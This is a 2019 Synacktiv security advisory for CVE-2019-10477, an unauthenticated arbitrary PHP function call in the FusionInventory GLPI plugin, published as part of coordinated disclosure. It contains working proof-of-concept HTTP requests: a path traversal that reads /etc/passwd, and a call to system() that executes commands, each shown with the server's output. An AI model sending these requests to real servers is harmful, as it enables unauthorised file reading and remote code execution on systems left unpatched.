SYNACKTIV
DIGITAL SECURITY

Arbitrary PHP function call in FusionInventory 9.4.0 GLPI plugin CVE-2019-10477

Security advisory

2019-04-23

Julien Szlamowicz
Damien Picard

Vulnerability description

Presentation of *FusionInventory GLPI plugin*

FusionInventory acts like a gateway and collect information sent by the agents. It will create or update the information in *GLPI* with minimal effort from the administrator.

The issue

Synacktiv discovered that the *FusionInventory GLPI plugin* is vulnerable to arbitrary function call through unsafe use of *call_user_func_array*. **Exploitating this vulnerability does not require authentication and allows executing arbitrary code on the server.**

Affected versions

The following versions are known to be affected:

- Branch 9.3: < 9.3+1.4
- Branch 9.4: < 9.4+1.1

Timeline

Date	Action
2019-02-25	Advisory sent to David Durieux from FusionInventory project
2019-03-28	Vendor publishes new releases 9.3+1.4 and 9.4+1.1 addressing the issue

Technical description and proof-of-concept

The application executes PHP code dynamically generated using unsanitized user inputs.

Indeed, the *FusionInventory* plugin for *GLPI* exposes the *front/send_inventory.php* script without authentication. In this script can be found the following code:

```
$itemtype = $_GET['itemtype'];
$function = $_GET['function'];
$items_id = $_GET['items_id'];
header('Cache-control: private, must-revalidate'); /// IE BUG + SSL
header('Content-disposition: attachment; filename='.$_GET['filename']);
header('Content-type: text/plain');
call_user_func(['PluginFusioninventoryToolbox', $function], $items_id, $itemtype);
```

In the last line, the *call_user_func* function allows the attacker to call an arbitrary function of the *PluginFusioninventoryToolbox* callable object with 2 user-supplied parameters.

The implementation of this class can be found in *inc/toolbox.class.php* and contains numerous functions. Solely functions with a signature that contains 2 mandatory arguments can be called.

Synacktiv experts first identified the *sendXML* function:

```
static function sendXML($items_id, $itemtype) {
  if (call_user_func([$itemtype, 'canView'])) {
     $xml = file_get_contents(GLPI_PLUGIN_DOC_DIR."/fusioninventory/xml/".$items_id);
     echo $xml;
  } else {
     Html::displayRightError();
  }
}
```

As can be noticed, after calling the *canView* function on the *itemtype* parameter, the function simply returns the content of the file pointed by the following path:

```
GLPI_PLUGIN_DOC_DIR."/fusioninventory/xml/".$items_id
```

No sanitation is performed on the *items_id* parameter, allowing to perform a path traversal and read any accessible file on the file system. For instance, with the following request:

```
GET /plugins/fusioninventory/front/send_inventory.php?
itemtype=PluginFusioninventoryInventoryComputerComputer&function=sendXML&items_id==../../..
/../../../../../../../../../etc/passwd&filename=toto HTTP/1.1
```

It is possible to read the */etc/passwd* file of the server:

```
HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[...]
```

A more interesting function can also be identified in the *PluginFusioninventoryToolbox* implementation. Indeed, considering the *executeAsFusioninventoryUser* function:

```
function executeAsFusioninventoryUser($function, array $args = []) {
[...]
  // Execute function with impersonated SESSION
  $result = call_user_func_array($function, $args);
[...]
  //Return function results
```

```
  return $result;
}
```

The function has 2 arguments, which makes possible to call it from our initial vector. The user-supplied parameters are then used in *call_user_func_array* without any prior validation. That allows an attacker to call arbitrary PHP functions such as *system* for instance. The only difference with the previous case is that the function expects the *args* parameter to be an array. Thus, this can be exploited to execute arbitrary commands on the server using the following request:

```
GET /plugins/fusioninventory/front/send_inventory.php?
function=executeAsFusioninventoryUser&items_id=system&itemtype[]=id&filename=toto HTTP/1.1
The server returns the command output:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 05 Feb 2019 16:11:12 GMT
Content-Type: text/plain;charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private, must-revalidate
Content-disposition: attachment; filename=toto
Content-Length: 54

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```